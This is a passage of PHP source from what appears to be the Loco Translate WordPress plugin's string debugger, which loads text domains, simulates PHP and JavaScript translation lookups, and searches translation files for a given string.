            $path = $form['jspath'];
            //error_log( json_encode(func_get_args(),JSON_UNESCAPED_SLASHES).' -> '.$path );
            $this->log( '~ filter:load_script_textdomain_relative_path: %s => %s', $relative, $path );
            return $path;
        }
        return $relative;
    }


    /**
     * `pre_load_script_translations` filter callback
     * @noinspection PhpUnusedParameterInspection
     */
    public function filter_pre_load_script_translations( $translations, $file, $handle /*, $domain*/ ){
        if( 'loco-translate-dummy' === $handle && ! is_null($translations) ){
            $this->log('~ filter:pre_load_script_translations: Short-circuited with %s value', gettype($translations) );
        }
        return $translations;
    }


    /**
     * `load_script_translation_file` filter callback.
     */
    public function filter_load_script_translation_file( $file, $handle/* ,$domain*/ ){
        if( 'loco-translate-dummy' === $handle ){
            error_log( json_encode(func_get_args(),JSON_UNESCAPED_SLASHES) );
            // if file is not found, this will fire again with file=false
            $this->log('~ filter:load_script_translation_file: %s', var_export($file,true) );
        }
        return $file;
    }


    /**
     * `load_script_translations` filter callback
     * @noinspection PhpUnusedParameterInspection
     */
    public function filter_load_script_translations( $translations, $file, $handle, $domain ){
        if( 'loco-translate-dummy' === $handle ){
            // just log it if the value isn't JSON.
            if( ! is_string($translations) || '' === $translations || '{' !== $translations[0] ) {
                $this->log( '~ filter:load_script_translations: %s', var_export($translations,true) );
            }
        }
        return $translations;
    }


    /**
     * `[n]gettext[_with_context]` filter callback
     */
    public function temp_filter_gettext(){
        $i = func_num_args() - 1;
        $args = func_get_args();
        $translation = $args[0];
        if( $args[$i] === $this->domain ){
            $args = array_slice($args,1,--$i);
            $opts = JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE;
            $this->log('~ filter:gettext: %s => %s', json_encode($args,$opts), json_encode($translation,$opts) );
        }
        return $translation;
    }



    /**
     * @return null|Loco_package_Bundle
     */
    private function getBundleByDomain( $domain, $type ){
        if( 'default' === $domain ){
            $this->log('Have WordPress core bundle');
            return Loco_package_Core::create();
        }
        if( 'plugin' === $type ){
            $search = Loco_package_Plugin::getAll();
        }
        else if( 'theme' === $type || 'child' === $type ){
            $type = 'theme';
            $search = Loco_package_Theme::getAll();
        }
        else {
            $type = 'bundle';
            $search = array_merge( Loco_package_Plugin::getAll(), Loco_package_Theme::getAll() );
        }
        /* @var Loco_package_Bundle $bundle */
        foreach( $search as $bundle ){
            /* @var Loco_package_Project $project */
            foreach( $bundle as $project ){
                if( $project->getDomain()->getName() === $domain ){
                    $this->log('Have %s bundle => %s', strtolower($bundle->getType()), $bundle->getName() );
                    return $bundle;
                }
            }
        }
        $message = 'No '.$type.' known with text domain '.$domain;
        Loco_error_AdminNotices::warn($message);
        $this->log('! '.$message);
        return null;
    }


    /**
     * @return LocoPoMessage|null
     */
    private function findMessage( $findKey, Loco_gettext_Data $messages ){
        /* @var LocoPoMessage $m */
        foreach( $messages as $m ){
            if( $m->getKey() === $findKey ){
                return $m;
            }
        }
        return null;
    }


    /**
     * Get translation from a message falling back to source, as per __, _n etc..
     */
    private function getMsgstr( LocoPoMessage $m, $pluralIndex = 0 ){
        $values = $m->exportSerial();
        if( array_key_exists($pluralIndex,$values) && '' !== $values[$pluralIndex] ){
            return $values[$pluralIndex];
        }
        $values = $m->exportSerial('source');
        if( $pluralIndex ){
            if( array_key_exists(1,$values) && '' !== $values[1] ){
                return $values[1];
            }
            $this->log('! message is singular, defaulting to msgid');
        }
        return $values[0];
    }


    /**
     * Look up a source key in given messages, returning source if untranslated, and null if not found.
     * @return string|null 
     */
    private function findMsgstr( $findKey, $pluralIndex, Loco_gettext_Data $messages ){
        $m = $this->findMessage( $findKey, $messages );
        return $m ? $this->getMsgstr( $m, $pluralIndex ) : null;
    }


    /**
     * @return Plural_Forms|null
     */
    private function parsePluralForms( $raw ){
        try {
            $this->log('Parsing header: %s', $raw );
            if( ! preg_match( '#^nplurals=\\d+;\\s*plural=([-+/*%!=<>|&?:()n\\d ]+);?$#', $raw, $match ) ) {
                throw new InvalidArgumentException( 'Invalid Plural-Forms header, ' . json_encode($raw) );
            }
            return new Plural_Forms( trim( $match[1],'() ') );
        }
        catch( Exception $e ){
            $this->log('! %s', $e->getMessage() );
            return null;
        }
    }
    
    
    
    private function selectPluralForm( $quantity, $pluralIndex, Plural_Forms $eq = null ){
        try {
            if( $eq instanceof Plural_Forms ) {
                $pluralIndex = $eq->execute( $quantity );
                $this->log( '> Selected plural form [%u]', $pluralIndex );
            }
        }
        catch ( Exception $e ){
            $this->log('! Keeping plural form [%u]; %s', $pluralIndex, $e->getMessage() );
        }
        return $pluralIndex;
    }
    
    
    /*private function logTextDomainsLoaded(){
        foreach(['l10n','l10n_unloaded'] as $k ){
            foreach( $GLOBALS[$k] as $d => $t ){
                $type = is_object($t) ? get_class($t) : gettype($t);
                $this->log('? $%s[%s] => %s', $k, var_export($d,true), $type );
            }
        }
    }*/
    
    
    /*public function on_unload_textdomain( $domain, $reloadable ){
        $this->log('~ action:unload_textdomain: %s, reloadable = %b', $domain, $reloadable);
    }*/


    /**
     * Forcefully remove the no reload flag which prevents JIT loading.
     * Note that since WP 6.7 load_(theme|plugin)_textdomain invokes JIT loader
     */
    private function unlockDomain( $domain ) {
        global $l10n_unloaded;
        if( is_array($l10n_unloaded) && isset($l10n_unloaded[$domain]) ){
            $this->log('Removing JIT lock');
            unset( $l10n_unloaded[$domain] );
        }
    }


    /**
     * Prepare text domain for MO file lookup
     * @return void
     */
    private function preloadDomain( $domain, $type, $path ){
        // plugin and theme loaders allow missing path argument, custom loader does not
        if( '' === $path ){
            $file = null;
            $path = false;
        }
        // Just-in-time loader takes no path argument
        else if( 'none' === $type || '' === $type ){
            $file = null;
            Loco_error_AdminNotices::debug('Path argument ignored. Not required for this loading option.');
        }
        else {
            $this->log('Have path argument => %s', $path );
            $file = new Loco_fs_File($path);
        }

        // Without a loader the current state of the text domain will be used for our translation.
        // If the text domain was loaded before we set our locale, it may be in the wrong language.
        if( 'none' === $type ){
            $this->log('No loader, current state is:');
            $this->logDomainState($domain);
            // Note that is_textdomain_loaded() returns false even if NOOP_Translations is set,
            // and NOOP_Translations being set prevents JIT loading, so will never translate our forced locale!
            if( isset($GLOBALS['l10n'][$domain]) ){
                // WordPress >= 6.5
                if( class_exists('WP_Translation_Controller',false) ) {
                    $locale = WP_Translation_Controller::get_instance()->get_locale();
                    if( $locale && $locale !== $this->locale ){
                        Loco_error_AdminNotices::warn( sprintf('Translations already loaded for "%s". A loader is recommended to select "%s"',$locale,$this->locale) );
                    }
                }
            }
            return;
        }
        
        // Unload text domain for any forced loading method
        $this->log('Unloading text domain for %s loader', $type?:'auto' );
        $returned = unload_textdomain($domain);
        $callee = 'unload_textdomain';
        // Bootstrap text domain if a loading function was selected
        if( 'plugin' === $type ){
            if( $file ){
                if( $file->isAbsolute() ){
                    $path = $file->getRelativePath(WP_PLUGIN_DIR);
                }
                else {
                    $file->normalize(WP_PLUGIN_DIR);
                }
                if( ! $file->exists() || ! $file->isDirectory() ){
                    throw new InvalidArgumentException('Loader argument must be a directory relative to WP_PLUGIN_DIR');
                }
            }
            $this->log('Calling load_plugin_textdomain with $plugin_rel_path=%s',$path);
            $returned = load_plugin_textdomain( $domain, false, $path );
            $callee = 'load_plugin_textdomain';
            $this->unlockDomain($domain);
        }
        else if( 'theme' === $type || 'child' === $type ){
            // Note that absent path argument will use current theme, and not necessarily whatever $domain is
            if( $file && ( ! $file->isAbsolute() || ! $file->isDirectory() ) ){
                throw new InvalidArgumentException('Path argument must reference the theme directory');
            }
            $this->log('Calling load_theme_textdomain with $path=%s',$path);
            $returned = load_theme_textdomain( $domain, $path );
            $callee = 'load_theme_textdomain';
            $this->unlockDomain($domain);
        }
        else if( 'custom' === $type ){
            if( $file && ! $file->isAbsolute() ){
                $path = $file->normalize(WP_CONTENT_DIR);
                $this->log('Resolving relative path argument to %s',$path);
            }
            if( is_null($file) || ! $file->exists() || $file->isDirectory() ){
                throw new InvalidArgumentException('Path argument must reference an existent file');
            }
            $expected = [ $this->locale.'.mo', $this->locale.'.l10n.php' ];
            $bits = explode('-',$file->basename() );
            if( ! in_array( end($bits), $expected) ){
                throw new InvalidArgumentException('Path argument must end in '.$this->locale.'.mo');
            }
            $this->log('Calling load_textdomain with $mofile=%s',$path);
            $returned = load_textdomain($domain,$path,$this->locale);
            $callee = 'load_textdomain';
        }
        // JIT doesn't work for WordPress core
        else if( 'default' === $domain ){
            $this->log('Reloading default text domain');
            $callee = 'load_default_textdomain';
            $returned = load_default_textdomain($this->locale);
        }
        // Defaulting to JIT (auto):
        // When we called unload_textdomain we passed $reloadable=false on purpose to force memory removal
        // So if we want to allow _load_textdomain_just_in_time, we'll have to hack the reloadable lock.
        else {
            $this->unlockDomain($domain);
        }
        $this->log('> %s returned %s', $callee, var_export($returned,true) );
    }



    /**
     * Preload domain for a script, then forcing retrieval of JSON.
     * @return Loco_gettext_Data
     */
    private function preloadScript( $path, $domain, Loco_package_Bundle $bundle = null ){
        $this->log('Have script argument => %s', $path );
        if( preg_match('/^[0-9a-f]{32}$/',$path) ){
            throw new Loco_error_Exception('Enter the script path, not the hash');
        }
        // normalize file reference if bundle is known. Warning already raised if not.
        // simulator will allow non-existent js. We can still find translations even if it's absent.
        $jsfile = new Loco_fs_File($path);
        if( $bundle ){
            $basepath = $bundle->getDirectoryPath();
            if( $jsfile->isAbsolute() ) {
                $path = $jsfile->getRelativePath($basepath);
                $this->get('form')['jspath'] = $path;
            }
            else {
                $jsfile->normalize($basepath);
            }
            if( ! $jsfile->exists() ){
                $this->log( '! Script not found. load_script_textdomain may fail');
            }
        }
        // log hashable path for comparison with what WordPress computes:
        if( '.min.js' === substr($path,-7) ) {
            $path = substr($path,0,-7).'.js';
        }
        else {
            $valid = array_flip( Loco_data_Settings::get()->jsx_alias ?: ['js'] );
            if( ! array_key_exists($jsfile->extension(),$valid) ) {
                Loco_error_AdminNotices::debug("Script path didn't end with .".implode('|',array_keys($valid) ) );
            }
        }
        $hash = md5($path);
        $this->log('> md5(%s) => %s', var_export($path,true), $hash );
        // filters will point our debug script to the actual script we're simulating
        $handle = $this->enqueueScript('dummy');
        if( ! wp_set_script_translations($handle,$domain) ){
            throw new Loco_error_Exception('wp_set_script_translations returned false');
        }
        // load_script_textdomain won't fire until footer, so grab JSON directly
        $this->log('Calling load_script_textdomain( %s )', trim(json_encode([$handle,$domain],JSON_UNESCAPED_SLASHES),'[]') );
        $json = load_script_textdomain($handle,$domain);
        $this->dequeueScript('dummy');
        if( is_string($json) && '' !== $json ){
            $this->log('> Parsing %u bytes of JSON...', strlen($json) );
            return Loco_gettext_Data::fromJson($json);
        }
        throw new Loco_error_Exception('load_script_textdomain returned '.var_export($json,true) );
    }        



    /**
     * Run the string lookup and render result screen, unless an error is thrown.
     * @return string
     */
    private function renderResult( Loco_mvc_ViewParams $form ){
        $msgid = $form['msgid'];
        $msgctxt = $form['msgctxt'];
        // singular form by default
        $msgid_plural = $form['msgid_plural'];
        $quantity = ctype_digit($form['n']) ? (int) $form['n'] : 1;
        $pluralIndex = 0;
        //
        $domain = $form['domain']?:'default';
        $this->log('Running test for domain => %s', $domain );
        //$this->logDomainState($domain);
        $default = $this->get('default');
        $tag = $form['locale'] ?: $default['locale'];
        $locale = Loco_Locale::parse($tag);
        if( ! $locale->isValid() ){
            throw new InvalidArgumentException('Invalid locale code ('.$tag.')');
        }
        // unhook all existing filters, including our own
        if( $form['unhook'] ){
            $this->log('Unhooking l10n filters');
            array_map( 'remove_all_filters', [
                // these filters are all used by Loco_hooks_LoadHelper, and will need re-hooking afterwards:
                'theme_locale','plugin_locale','unload_textdomain','load_textdomain','load_script_translation_file','load_script_translations',
                // these filters also affect text domain loading / file reading:
                'pre_load_textdomain','override_load_textdomain','load_textdomain_mofile','translation_file_format','load_translation_file','override_unload_textdomain','lang_dir_for_domain',
                // script translation hooks:
                'load_script_textdomain_relative_path','pre_load_script_translations','load_script_translation_file','load_script_translations',
                // these filters affect translation fetching via __, _n, _x and _nx:
                'gettext','ngettext','gettext_with_context','ngettext_with_context'
            ] );
            // helper isn't a singleton, and will be garbage-collected now. Restart it.
            new Loco_hooks_LoadHelper;
        }
        // Ensuring our forced locale requires no other filters be allowed to run.
        // We're doing this whether "unhook" is set or not, otherwise determine_locale won't work.
        remove_all_filters('pre_determine_locale');
        $this->reHook();
        $this->locale = (string) $locale;
        $this->log('Have locale: %s', $this->locale );
        $actual = determine_locale();
        if( $actual !== $this->locale ){
            $this->log('determine_locale() => %s', $actual );
            Loco_error_AdminNotices::warn( sprintf('Locale %s is overriding %s', $actual, $this->locale) );
        }
        // Deferred setting of text domain to avoid hooks firing before we're ready
        $this->domain = $domain;
        //new Loco_hooks_LoadDebugger($domain);

        // Perform preloading according to user choice, and optional path argument.
        $type = $form['loader'];
        $bundle = $this->getBundleByDomain($domain,$type);
        $this->preloadDomain( $domain, $type, $form['loadpath'] );

        // Create source message for string query
        class_exists('Loco_gettext_Data');
        $message = new LocoPoMessage(['source'=>$msgid,'context'=>$msgctxt,'target'=>'']);
        $this->log('Query: %s', LocoPo::pair('msgid',$msgid) );
        if( '' !== $msgid_plural ){
            $this->log('     | %s (n=%u)', LocoPo::pair('msgid_plural',$msgid_plural), $quantity );
            $message->offsetSet('plurals', [new LocoPoMessage(['source'=>$msgid_plural,'target'=>''])] );
        }
        $findKey = $message->getKey();

        // Perform runtime translation request via WordPress
        if( '' === $msgctxt ){
            if( '' === $msgid_plural ) {
                $callee = '__';
                $params = [ $msgid, $domain ];
                $this->addHook('gettext', 'temp_filter_gettext', 3, 99 );
            }
            else {
                $callee = '_n';
                $params = [ $msgid, $msgid_plural, $quantity, $domain ];
                $this->addHook('ngettext', 'temp_filter_gettext', 5, 99 );
            }
        }
        else {
            $this->log('     | %s', LocoPo::pair('msgctxt',$msgctxt) );
            if( '' === $msgid_plural ){
                $callee = '_x';
                $params = [ $msgid, $msgctxt, $domain ];
                $this->addHook('gettext_with_context', 'temp_filter_gettext', 4, 99 );
            }
            else {
                $callee = '_nx';
                $params = [ $msgid, $msgid_plural, $quantity, $msgctxt, $domain ];
                $this->addHook('ngettext_with_context', 'temp_filter_gettext', 6, 99 );
            }
        }
        $this->log('Calling %s( %s )', $callee, trim( json_encode($params,JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE), '[]') );
        $msgstr = call_user_func_array($callee,$params);
        $this->log("====>| %s", LocoPo::pair('msgstr',$msgstr,0) );

        // Post check for text domain auto-load failure
        $loaded = get_translations_for_domain($domain);
        if( ! is_textdomain_loaded($domain) ){
            $this->log('! Text domain not loaded after %s() call completed', $callee );
            $this->log('  get_translations_for_domain => %s', self::debugType($loaded) );
        }

        // Establish retrospectively if a non-zero plural index was used.
        if( '' !== $msgid_plural ){
            $header = null;
            if( class_exists('WP_Translation_Controller',false) ){
                $h = WP_Translation_Controller::get_instance()->get_headers($domain);
                if( array_key_exists('Plural-Forms',$h) ) {
                    $header = $h['Plural-Forms'];
                }
            }
            if( is_null($header) ){
                $header = $locale->getPluralFormsHeader();
                $this->log('! Can\'t get Plural-Forms; Using built-in rules');
            }
            $pluralIndex = $this->selectPluralForm( $quantity, $pluralIndex, $this->parsePluralForms($header) );
        }

        // Simulate JavaScript translation if script path is set. This will be used as a secondary result.
        $path = $form['jspath'];
        if( is_string($path) && '' !== $path ) {
            try {
                $data = $this->preloadScript( $path, $domain, $bundle );
                // Let JED-defined plural forms override plural index
                if( '' !== $msgid_plural ){
                    $header = $data->getHeaders()->offsetGet('Plural-Forms');
                    if( $header ){
                        $pluralIndex = $this->selectPluralForm( $quantity, $pluralIndex, $this->parsePluralForms($header) );
                    }
                }
                $msgstr = $this->findMsgstr( $findKey, $pluralIndex, $data );
                if( is_null($msgstr) ){
                    $this->log('! No match in JSON');
                }
                else {
                    $this->log("====>| %s", LocoPo::pair('msgstr',$msgstr,0) );
                }
                // Override primary translation result for script translation
                $callee = 'load_script_textdomain';
            }
            catch( Exception $e ){
                $this->log('! %s (falling back to PHP)', $e->getMessage() );
                Loco_error_AdminNotices::warn('Script translation failed. Falling back to PHP translation');
            }
        }

        // Establish translation success, assuming that source being returned is equivalent to an absent translation
        $fallback = $pluralIndex ? $msgid_plural : $msgid;
        $translated = is_string($msgstr) && '' !== $msgstr && $msgstr !== $fallback;
        $this->log('Translated result state => %s', $translated?'true':'false');

        // We're done with our temporary hooks now.
        $this->domain = null;
        $this->locale = null;

        // Obtain all possible translations from all known targets (requires bundle)
        $pofiles = new Loco_fs_FileList;
        if( $bundle ){
            foreach( $bundle as $project ) {
                if( $project instanceof Loco_package_Project && $project->getDomain()->getName() === $domain ){
                    $pofiles->augment( $project->initLocaleFiles($locale) );
                }
            }
        }
        // Without a configured bundle, we'll have to search all possible locations, but this won't include Author files.
        // We may as well add these anyway, in case bundle is misconfigured. Small risk of plugin/theme domain conflicts.
        if( 'default' !== $domain ){
            /* @var Loco_package_Bundle $tmp */
            foreach( [ new Loco_package_Plugin('',''), new Loco_package_Theme('','') ] as $tmp ) {
                foreach( $tmp->getSystemTargets() as $root ){
                    $pofiles->add( new Loco_fs_LocaleFile( sprintf('%s/%s-%s.po',$root,$domain,$locale) ) );
                }
            }
        }
        $grouped = [];
        $matches = [];
        $searched = 0;
        $matched  = 0;
        $this->log('Searching %u possible locations for string versions', $pofiles->count() );
        /* @var Loco_fs_LocaleFile $pofile */
        foreach( $pofiles as $pofile ){
            // initialize translation set for this PO and its siblings
            $dir = new Loco_fs_LocaleDirectory( $pofile->dirname() );
            $type = $dir->getTypeId();
            $args = [ 'type' => $dir->getTypeLabel($type) ];
            // as long as we know the bundle and the PO file exists, we can link to the editor.
            // bear in mind that domain may not be unique to one set of translations (core) so ...
            if( $bundle && $pofile->exists() ){
                $route = strtolower($bundle->getType()).'-file-edit';
                // find exact project in bundle. Required for core, or any multi-domain bundle
                $project = $bundle->getDefaultProject();
                if( is_null($project) || 1 < $bundle->count() ){
                    $slug = $pofile->getPrefix();
                    foreach( $bundle as $candidate ){
                        if( $candidate->getSlug() === $slug ){
                            $project = $candidate;
                            break;
                        }
                    }
                }
                $args['href'] = Loco_mvc_AdminRouter::generate( $route, [
                    'bundle' => $bundle->getHandle(),
                    'domain' => $project ? $project->getId() : $domain,
                    'path' => $pofile->getRelativePath(WP_CONTENT_DIR),
                ] );
            }
            $groupIdx = count($grouped);
            $grouped[] = new Loco_mvc_FileParams( $args, $pofile );
            // even if PO file is missing, we can search the MO, JSON etc..
            $siblings = new Loco_fs_Siblings($pofile);
            $siblings->setDomain($domain);
            $exts = [];
            foreach( $siblings->expand() as $file ){
                try {
                    $ext = strtolower( $file->fullExtension() );
                    if( ! preg_match('!^(?:pot?|mo|json|l10n\\.php)$!',$ext) || ! $file->exists() ){
                        continue;
                    }
                    $searched++;
                    $message = $this->findMessage($findKey,Loco_gettext_Data::load($file));
                    if( $message ){
                        $matched++;
                        $value = $this->getMsgstr($message,$pluralIndex);
                        $args = [ 'msgstr' => $value ];
                        $matches[$groupIdx][] = new Loco_mvc_FileParams($args,$file);
                        $this->log('> found in %s => %s', $file, var_export($value,true) );
                        $exts[$ext] = $message->translated();
                    }
                }
                catch( Exception $e ){
                    Loco_error_Debug::trace( '%s in %s', $e->getMessage(), $file );
                }
            }
            // warn if found in PO, but not MO.
            if( isset($exts['po']) && $exts['po'] && ! isset($exts['mo']) ){
                Loco_error_AdminNotices::debug('Found in PO, but not MO. Is it fuzzy? Does it need recompiling?');
            }
        }

        // display result if translation occurred, or if we found the string in at least one file, even if empty
        $this->log('> %u matches in %u locations; %u files searched', $matched, count($grouped), $searched );
        if( $matches || $translated ){
            $result = new Loco_mvc_ViewParams( $form->getArrayCopy() );
            $result['translated'] = $translated;
            $result['msgstr'] = $msgstr;
            $result['callee'] = $callee;
            $result['grouped'] = $grouped;
            $result['matches'] = $matches;
            $result['searched'] = $searched;
            $result['calleeDoc'] = 'https://developer.wordpress.org/reference/functions/'.$callee.'/';
            return $this->view( 'admin/debug/debug-result', ['result'=>$result]);
        }
        // Source string not found in any translation files
        $name = $bundle ? $bundle->getName() : $domain;
        throw new Loco_error_Warning('No `'.$locale.'` translations found for this string in '.$name );
    }



    /**
     * @return void
     */
    private function surpriseMe(){
        $project = null;
        /* @var Loco_package_Bundle[] $bundles */
        $bundles = array_merge( Loco_package_Plugin::getAll(), Loco_package_Theme::getAll(), [ Loco_package_Core::create() ] );
        while( $bundles && is_null($project) ){
            $key = array_rand($bundles);
            $project = $bundles[$key]->getDefaultProject();
            unset($bundles[$key]);
        }
        // It should be impossible for project to be null, due to WordPress core always being non-empty
        if( ! $project instanceof Loco_package_Project ){
            throw new LogicException('No translation projects');
        }
        $domain = $project->getDomain()->getName();
        // Pluck a random locale from existing PO translations
        $files = $project->findLocaleFiles('po')->getArrayCopy();
        $pofile = $files ? $files[ array_rand($files) ] : null;
        $locale = $pofile instanceof Loco_fs_LocaleFile ? (string) $pofile->getLocale() : '';
        // Get a random source string from the code... avoiding full extraction.. pluck a PHP file...
        class_exists('Loco_gettext_Data');
        $message = new LocoPoMessage(['source'=>'']);
        $extractor = loco_wp_extractor();
        $extractor->setDomain($domain);
        $files = $project->getSourceFinder()->group('php')->export()->getArrayCopy();
        while( $files ){
            $key = array_rand($files);
            $file = $files[$key];
            $strings = ( new LocoExtracted )->extractSource( $extractor, $file->getContents() )->export();
            if( $strings ){
                $message = new LocoPoMessage( $strings[ array_rand($strings) ] );
                break;
            }
            // try next source file...
            unset($files[$key]);
        }
        // apply random choice
        $form = $this->get('form');
        $form['domain'] = $domain;
        $form['locale'] = $locale;
        $form['msgid'] = $message->source;
        $form['msgctxt'] = $message->context;
        // random message could be a plural form
        $plurals = $message->plurals;
        if( is_array($plurals) && array_key_exists(0,$plurals) && $plurals[0] instanceof LocoPoMessage ){
            $form['msgid_plural'] = $plurals[0]['source'];
        }
        Loco_error_AdminNotices::info( sprintf('Randomly selected "%s". Click Submit to check a string.', $project->getName() ) );
    }



    /**
     * {@inheritdoc}
     */
    public function render(){
        $title = __('String debugger','loco-translate');
        $this->set('breadcrumb', Loco_admin_Navigation::createSimple($title) );

        try {
            // Process form if (at least) "msgid" is set
            $form = $this->get('form');
            if( '' !== $form['msgid'] ){
                return $this->renderResult($form);
            }
            // Pluck a random string for testing
            else if( array_key_exists('randomize',$_GET) ){
                $this->surpriseMe();
            }
        }
        catch( Loco_error_Exception $e ){
            Loco_error_AdminNotices::add($e);
        }
        catch( Exception $e ){
            Loco_error_AdminNotices::add( Loco_error_Exception::convert($e) );
        }

        return $this->view('admin/debug/debug-form');
    }
    
}